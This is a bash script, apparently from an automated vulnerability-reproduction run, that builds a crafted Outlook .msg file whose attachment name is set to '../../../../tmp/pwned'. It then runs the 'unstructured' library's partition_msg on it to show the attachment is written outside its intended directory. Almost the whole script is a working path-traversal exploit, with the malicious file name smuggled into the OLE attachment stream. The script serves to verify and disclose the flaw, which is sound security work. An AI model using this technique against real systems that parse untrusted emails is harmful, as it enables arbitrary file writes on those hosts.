#!/usr/bin/env bash
set -euo pipefail

WORKDIR="/data/pruva/runs/0d8207ce-6bfc-43e4-8f63-3d1fe63d5fa9"
REPO="$WORKDIR/unstructured"
VENV="$WORKDIR/venv_verify"

python -m venv "$VENV"
"$VENV/bin/pip" install --upgrade pip
"$VENV/bin/pip" install python-oxmsg
"$VENV/bin/pip" install -e "$REPO"

"$VENV/bin/python" - <<'PY'
import shutil
from pathlib import Path
import olefile

workdir = Path("/data/pruva/runs/0d8207ce-6bfc-43e4-8f63-3d1fe63d5fa9")
src = workdir / "unstructured/example-docs/fake-email-multiple-attachments.msg"
mal = workdir / "unstructured/example-docs/fake-email-traversal.msg"
shutil.copy(src, mal)

traversal = "../../../../tmp/pwned"
new_bytes = traversal.encode("utf-16le")

ole = olefile.OleFileIO(str(mal), write_mode=True)
stream = "__attach_version1.0_#00000000/__substg1.0_3707001F"
ole.write_stream(stream, new_bytes)
ole.close()
print(f"Wrote malicious attachment name to {mal}")
PY

"$VENV/bin/python" - <<'PY'
import os
from unstructured.partition.msg import partition_msg

msg_path = "/data/pruva/runs/0d8207ce-6bfc-43e4-8f63-3d1fe63d5fa9/unstructured/example-docs/fake-email-traversal.msg"
try:
    os.remove("/tmp/pwned")
except FileNotFoundError:
    pass

try:
    partition_msg(msg_path, process_attachments=True)
except Exception as e:
    print("partition error:", type(e), e)

print("/tmp/pwned exists:", os.path.exists("/tmp/pwned"))
if os.path.exists("/tmp/pwned"):
    print("/tmp/pwned size:", os.path.getsize("/tmp/pwned"))
PY
